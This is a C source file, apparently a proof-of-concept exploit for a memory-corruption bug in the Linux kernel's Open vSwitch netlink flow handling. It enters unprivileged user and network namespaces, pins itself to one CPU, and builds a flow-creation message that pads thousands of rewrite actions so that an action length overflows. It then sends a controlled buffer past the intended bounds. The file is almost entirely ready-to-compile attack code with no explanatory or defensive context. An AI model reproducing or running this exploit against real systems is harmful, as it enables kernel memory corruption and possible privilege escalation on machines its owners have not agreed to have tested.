// gcc poc.c -o poc -static -no-pie -Werror -s -Os -Wno-unused-result #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define logd(fmt, ...) dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__) #define logi(fmt, ...) dprintf(2, "[+] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__) #define logw(fmt, ...) dprintf(2, "[!] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__) #define loge(fmt, ...) dprintf(2, "[-] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__) #define die(fmt, ...) \ do { \ loge(fmt, ##__VA_ARGS__); \ loge("Exit at line %d", __LINE__); \ exit(1); \ } while (0) struct ovs_attr { uint16_t type; void *data; uint16_t len; }; #define GENLMSG_DATA(glh) ((void *)(((char *)glh) + GENL_HDRLEN)) #define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN)) #define NLA_NEXT(nla, len) ((len) -= NLA_ALIGN((nla)->nla_len), \ (struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len))) #define NLA_OK(nla, len) ((len) >= (int)sizeof(struct nlattr) && \ (nla)->nla_len >= sizeof(struct nlattr) && \ (nla)->nla_len <= (len)) int nla_attr_size(int payload) { return NLA_HDRLEN + payload; } int nla_total_size(int payload) { return NLA_ALIGN(nla_attr_size(payload)); } int genlmsg_open(void) { int sockfd; struct sockaddr_nl nladdr; int ret; sockfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sockfd < 0) { loge("socket: %m"); return -1; } memset(&nladdr, 0, sizeof(nladdr)); nladdr.nl_family = AF_NETLINK; nladdr.nl_pid = getpid(); // nladdr.nl_groups = 0xffffffff; ret = bind(sockfd, (struct sockaddr *)&nladdr, sizeof(nladdr)); if (ret < 0) { loge("bind: %m"); close(sockfd); return -1; } return sockfd; } void *genlmsg_alloc(int *size) { unsigned char *buf; int len; /* * attribute len * attr len = (nla_hdr + pad) + (payload(user data) + pad) */ len = nla_total_size(*size); /* * family msg len, * but actually we have NOT custom family header * family msg len = family_hdr + payload(attribute) */ len += 0; /* * generic netlink msg len * genlmsg len = (genlhdr + pad) + payload(family msg) */ len += GENL_HDRLEN; /* * netlink msg len * nlmsg len = (nlmsghdr + pad) + (payload(genlmsg) + pad) */ len = NLMSG_SPACE(len); buf = malloc(len); if (!buf) return NULL; memset(buf, 0, len); *size = len; return buf; } void genlmsg_free(void *buf) { if (buf) { free(buf); } } int genlmsg_send(int sockfd, unsigned short nlmsg_type, unsigned int nlmsg_pid, unsigned char genl_cmd, unsigned char genl_version, unsigned short nla_type, const void *nla_data, unsigned int nla_len) { struct nlmsghdr *nlh; // netlink message header struct genlmsghdr *glh; // generic netlink message header struct nlattr *nla; // netlink attribute header struct sockaddr_nl nladdr; unsigned char *buf; int len; int count; int ret; if ((nlmsg_type == 0) || (!nla_data) || (nla_len <= 0)) { return -1; } len = nla_len; buf = genlmsg_alloc(&len); if (!buf) return -1; nlh = (struct nlmsghdr *)buf; nlh->nlmsg_len = len; nlh->nlmsg_type = nlmsg_type; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; nlh->nlmsg_pid = nlmsg_pid; glh = (struct genlmsghdr *)NLMSG_DATA(nlh); glh->cmd = genl_cmd; glh->version = genl_version; nla = (struct nlattr *)GENLMSG_DATA(glh); nla->nla_type = nla_type; nla->nla_len = nla_attr_size(nla_len); memcpy(NLA_DATA(nla), nla_data, nla_len); memset(&nladdr, 0, sizeof(nladdr)); nladdr.nl_family = AF_NETLINK; count = 0; ret = 0; do { ret = sendto(sockfd, &buf[count], len - count, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)); if (ret < 0) { if (errno != EAGAIN) { count = -1; goto out; } } else { count += ret; } } while (count < len); out: genlmsg_free(buf); return count; } int genlmsg_recv(int sockfd, unsigned char *buf, unsigned int len) { struct sockaddr_nl nladdr; struct msghdr msg; struct iovec iov; int ret; nladdr.nl_family = AF_NETLINK; nladdr.nl_pid = getpid(); // nladdr.nl_groups = 0xffffffff; iov.iov_base = buf; iov.iov_len = len; msg.msg_name = (void *)&nladdr; msg.msg_namelen = sizeof(nladdr); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = NULL; msg.msg_controllen = 0; msg.msg_flags = 0; ret = recvmsg(sockfd, &msg, 0); ret = ret > 0 ? ret : -1; return ret; } int genlmsg_dispatch(struct nlmsghdr *nlmsghdr, unsigned int nlh_len, int nlmsg_type, int nla_type, unsigned char *buf, int *len) { struct nlmsghdr *nlh; struct genlmsghdr *glh; struct nlattr *nla; int nla_len; int l; int i; int ret = -1; if (!nlmsghdr || !buf || !len) return -1; if (nlmsg_type && (nlmsghdr->nlmsg_type != nlmsg_type)) { return -1; } for (nlh = nlmsghdr; NLMSG_OK(nlh, nlh_len); nlh = NLMSG_NEXT(nlh, nlh_len)) { /* The end of multipart message. */ if (nlh->nlmsg_type == NLMSG_DONE) { // printf("get NLMSG_DONE\n"); ret = 0; break; } if (nlh->nlmsg_type == NLMSG_ERROR) { // printf("get NLMSG_ERROR\n"); ret = -1; break; } glh = (struct genlmsghdr *)NLMSG_DATA(nlh); nla = (struct nlattr *)GENLMSG_DATA(glh); // the first attribute nla_len = nlh->nlmsg_len - GENL_HDRLEN; // len of attributes for (i = 0; NLA_OK(nla, nla_len); nla = NLA_NEXT(nla, nla_len), ++i) { /* Match the family ID, copy the data to user */ if (nla_type == nla->nla_type) { l = nla->nla_len - NLA_HDRLEN; *len = *len > l ? l : *len; memcpy(buf, NLA_DATA(nla), *len); ret = 0; break; } } } return ret; } int genlmsg_get_family_id(int sockfd, const char *family_name) { void *buf; int len; __u16 id; int l; int ret; ret = genlmsg_send(sockfd, GENL_ID_CTRL, 0, CTRL_CMD_GETFAMILY, 1, CTRL_ATTR_FAMILY_NAME, family_name, strlen(family_name) + 1); if (ret < 0) return -1; len = 256; buf = genlmsg_alloc(&len); if (!buf) return -1; len = genlmsg_recv(sockfd, buf, len); if (len < 0) return len; id = 0; l = sizeof(id); genlmsg_dispatch((struct nlmsghdr *)buf, len, 0, CTRL_ATTR_FAMILY_ID, (unsigned char *)&id, &l); genlmsg_free(buf); return id > 0 ? id : -1; } void genlmsg_close(int sockfd) { if (sockfd >= 0) { close(sockfd); } } int ovsmsg_send(int sockfd, uint16_t nlmsg_type, uint32_t nlmsg_pid, uint8_t genl_cmd, uint8_t genl_version, int dp_ifindex, struct ovs_attr *ovs_attrs, int attr_num) { struct nlmsghdr *nlh; // netlink message header struct genlmsghdr *glh; // generic netlink message header struct nlattr *nla; // netlink attribute header struct ovs_header *ovh; // ovs user header struct sockaddr_nl nladdr; unsigned char *buf; int len = 0; int count; int ret; for (int i = 0; i < attr_num; i++) { len += nla_total_size(ovs_attrs[i].len); } buf = genlmsg_alloc(&len); if (!buf) { return -1; } nlh = (struct nlmsghdr *)buf; nlh->nlmsg_len = len; nlh->nlmsg_type = nlmsg_type; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; nlh->nlmsg_pid = nlmsg_pid; glh = (struct genlmsghdr *)NLMSG_DATA(nlh); glh->cmd = genl_cmd; glh->version = genl_version; ovh = (struct ovs_header *)GENLMSG_DATA(glh); ovh->dp_ifindex = dp_ifindex; char *offset = GENLMSG_DATA(glh) + 4; for (int i = 0; i < attr_num; i++) { nla = (struct nlattr *)(offset); nla->nla_type = ovs_attrs[i].type; nla->nla_len = nla_attr_size(ovs_attrs[i].len); memcpy(NLA_DATA(nla), ovs_attrs[i].data, ovs_attrs[i].len); offset += nla_total_size(ovs_attrs[i].len); } memset(&nladdr, 0, sizeof(nladdr)); nladdr.nl_family = AF_NETLINK; count = 0; ret = 0; do { ret = sendto(sockfd, &buf[count], len - count, 0, (struct sockaddr *)&nladdr, sizeof(nladdr)); if (ret < 0) { if (errno != EAGAIN) { count = -1; goto out; } } else { count += ret; } } while (count < len); out: genlmsg_free(buf); return count; } #define ELEM_CNT(x) (sizeof(x) / sizeof(x[0])) int nl_sockfd = -1; int dp_family_id = 1; int flow_family_id = -1; void init_unshare() { int fd; char buff[0x100]; // strace from `unshare -Ur xxx` unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); fd = open("/proc/self/setgroups", O_WRONLY); snprintf(buff, sizeof(buff), "deny"); write(fd, buff, strlen(buff)); close(fd); fd = open("/proc/self/uid_map", O_WRONLY); snprintf(buff, sizeof(buff), "0 %d 1", getuid()); write(fd, buff, strlen(buff)); close(fd); fd = open("/proc/self/gid_map", O_WRONLY); snprintf(buff, sizeof(buff), "0 %d 1", getgid()); write(fd, buff, strlen(buff)); close(fd); } void bind_cpu() { cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set)) { die("sched_setaffinity: %m"); } } void init_nl_sock() { nl_sockfd = genlmsg_open(); if (nl_sockfd < 0) { die("open sock failed"); } dp_family_id = genlmsg_get_family_id(nl_sockfd, OVS_DATAPATH_FAMILY); if (dp_family_id < 0) { die("get dp_family_id failed"); } flow_family_id = genlmsg_get_family_id(nl_sockfd, OVS_FLOW_FAMILY); if (flow_family_id < 0) { die("get flow_family_id failed"); } if (dp_family_id == flow_family_id) { // like some bug, but I don't know how to solve it :( logw("id are same, retry ..."); genlmsg_close(nl_sockfd); init_nl_sock(); } } void do_init() { bind_cpu(); init_unshare(); init_nl_sock(); } void trigger_vuln(void *vuln_data, size_t vuln_size) { struct nlattr *key_nla; struct ovs_key_ethernet eth_key; memcpy(eth_key.eth_src, "\x01\x02\x03\x04\x05", 6); memcpy(eth_key.eth_dst, "\x05\x04\x03\x02\x01", 6); struct ovs_key_ipv4 ipv4_key = { .ipv4_src = 0x12345678, .ipv4_dst = 0x87654321, .ipv4_proto = 1, .ipv4_tos = 1, .ipv4_ttl = 1, .ipv4_frag = 2, }; struct ovs_attr key_attrs[] = { {OVS_KEY_ATTR_ETHERNET, ð_key, sizeof(struct ovs_key_ethernet)}, {OVS_KEY_ATTR_ETHERTYPE, "\x08\x00", 2}, {OVS_KEY_ATTR_IPV4, &ipv4_key, sizeof(struct ovs_key_ipv4)}, }; int key_size = 0; for (int i = 0; i < ELEM_CNT(key_attrs); i++) { key_size += nla_total_size(key_attrs[i].len); } key_nla = (struct nlattr *)malloc(key_size); void *key_offset = key_nla; for (int i = 0; i < ELEM_CNT(key_attrs); i++) { struct nlattr *nla = key_offset; nla->nla_type = key_attrs[i].type; nla->nla_len = nla_attr_size(key_attrs[i].len); memcpy(NLA_DATA(nla), key_attrs[i].data, key_attrs[i].len); key_offset += nla_total_size(key_attrs[i].len); } char *action_nla = (char *)malloc(0x10000); if (!action_nla) { die("malloc: %m"); } // 0x14 -> 0x20 (+0xc) const int ori_size = 0x14; const int rewrite_size = 0x1c; const int header_size = 0x1c; int pad_action_cnt = (0xfc00 - header_size) / (4 + rewrite_size); int i = 0; for (i = 0; i < pad_action_cnt; i++) { struct nlattr *ptr = (struct nlattr *)(action_nla + i * ori_size); ptr->nla_len = ori_size; ptr->nla_type = OVS_ACTION_ATTR_SET; ptr = NLA_DATA(ptr); ptr->nla_len = 0x10; ptr->nla_type = OVS_KEY_ATTR_ETHERNET; ptr = NLA_DATA(ptr); memset(ptr, 'k', 0xc); } const uint32_t padding_size = 0x10000 - (header_size + (4 + rewrite_size) * pad_action_cnt); uint16_t evil_size = padding_size + vuln_size; { struct nlattr *ptr = (struct nlattr *)(action_nla + i * ori_size); ptr->nla_len = evil_size; ptr->nla_type = OVS_ACTION_ATTR_USERSPACE; // sub attr1 struct nlattr *sub_ptr = NLA_DATA(ptr); sub_ptr->nla_len = 8; sub_ptr->nla_type = OVS_USERSPACE_ATTR_PID; char *sub_buff = NLA_DATA(sub_ptr); memset(sub_buff, 'A', 4); char *padding_ptr = ((char *)sub_ptr) + NLA_ALIGN(sub_ptr->nla_len); memset(padding_ptr, 'x', padding_size - (padding_ptr - (char *)ptr)); memcpy((char *)action_nla + i * ori_size + padding_size, vuln_data, vuln_size); } struct ovs_attr ovs_attrs[] = { {OVS_FLOW_ATTR_KEY, key_nla, key_size}, {OVS_FLOW_ATTR_ACTIONS, action_nla, nla_total_size(0xff00)}, }; ovsmsg_send(nl_sockfd, flow_family_id, 0, OVS_FLOW_CMD_NEW, OVS_FLOW_VERSION, 0, ovs_attrs, ELEM_CNT(ovs_attrs)); } int main(int argc, char **argv) { do_init(); char vuln_buf[0x1000]; memset(vuln_buf, 'A', 0x1000); trigger_vuln(&vuln_buf, sizeof(vuln_buf)); return 0; }